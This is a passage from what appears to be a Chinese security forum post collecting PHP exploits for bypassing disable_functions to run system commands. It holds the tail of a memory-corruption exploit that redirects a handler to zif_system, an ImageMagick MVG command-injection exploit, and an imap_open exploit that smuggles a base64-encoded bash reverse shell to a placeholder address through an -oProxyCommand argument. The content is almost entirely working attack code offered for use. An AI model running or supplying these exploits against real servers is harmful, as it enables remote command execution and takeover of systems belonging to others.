  172. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!($zif_system = <font color="#c678dd">$this</font>-&gt;get_system($basic_funcs))) {
  173. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
  174. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  175. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
  176. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># copy hashtable offsetGet bucket</i></font>
  177. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$fake_bkt_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">5</font> - <font color="#d19a66">16</font>;

  178. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$function_data = <font color="#c678dd">$this</font>-&gt;str2ptr(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x50</font>);
  179. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">4</font>; $i++) {
  180. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_bkt_off + $i * <font color="#d19a66">8</font>,
  181. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">$this</font>-&gt;leak2($function_data + <font color="#d19a66">0x40</font> * <font color="#d19a66">4</font>, $i * <font color="#d19a66">8</font>));
  182. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  183. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># create a fake bucket</i></font>
  184. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$fake_bkt_addr = $abc_addr + $fake_bkt_off;
  185. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x50</font>, $fake_bkt_addr);
  186. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">3</font>; $i++) {
  187. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x58</font> + $i * <font color="#d19a66">4</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>);
  188. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  189. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># copy bucket zval</i></font>
  190. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$function_zval = <font color="#c678dd">$this</font>-&gt;str2ptr(<font color="#c678dd">$this</font>-&gt;abc, $fake_bkt_off);
  191. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">12</font>; $i++) {
  192. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc,&nbsp;&nbsp;$fake_bkt_off + <font color="#d19a66">0x70</font> + $i * <font color="#d19a66">8</font>,
  193. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">$this</font>-&gt;leak2($function_zval, $i * <font color="#d19a66">8</font>));
  194. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  195. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># pwn</i></font>
  196. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_bkt_off + <font color="#d19a66">0x70</font> + <font color="#d19a66">0x30</font>, $zif_system);
  197. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_bkt_off, $fake_bkt_addr + <font color="#d19a66">0x70</font>);

  198. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$spl1-&gt;offsetGet($cmd);

  199. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">exit</font>();
  200. &nbsp; &nbsp; }
  201. }

  202. $y = [<font color="#c678dd">new</font> Z()];
  203. json_encode([&amp;$y]);
复制代码


ImageMagick
  1. <font color="#61aeee">&lt;?php</font>
  2. <font color="#c678dd">echo</font> <font color="#98c379">"Disable Functions: "</font> . ini_get(<font color="#98c379">'disable_functions'</font>) . <font color="#98c379">"n"</font>;

  3. function AAAA(){
  4. $command = <font color="#98c379">'curl 127.0.0.1:7777'</font>;

  5. $exploit = <font color="#98c379">&lt;&lt;&lt;EOF
  6. push graphic-context
  7. viewbox 0 0 640 480
  8. fill 'url(<img src="https://example.com/image.jpg" alt="" style="max-width:400px" border="0">"|$command")'
  9. pop graphic-context
  10. EOF;</font>

  11. file_put_contents(<font color="#98c379">"KKKK.mvg"</font>, $exploit);
  12. $thumb = <font color="#c678dd">new</font> Imagick();
  13. $thumb-&gt;readImage(<font color="#98c379">'KKKK.mvg'</font>);
  14. $thumb-&gt;writeImage(<font color="#98c379">'KKKK.png'</font>);
  15. $thumb-&gt;clear();
  16. $thumb-&gt;destroy();
  17. unlink(<font color="#98c379">"KKKK.mvg"</font>);
  18. unlink(<font color="#98c379">"KKKK.png"</font>);
  19. }
  20. AAAA();
  21. <font color="#61aeee">?&gt;</font>
复制代码


imap_open RCE漏洞
  1. <font color="#61aeee">&lt;?php</font>
  2. $payload = <font color="#98c379">"/bin/bash -i &gt;&amp; /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&gt;&amp;1"</font>;
  3. $base64 = base64_encode($payload);
  4. $server = <font color="#98c379">"any -oProxyCommand=echot{$base64}|base64t-d|bash"</font>;
  5. @imap_open(<font color="#98c379">"{"</font>.$server.<font color="#98c379">"}:143/imap}INBOX"</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>);
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-16 19:26 , Processed in 0.022607 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表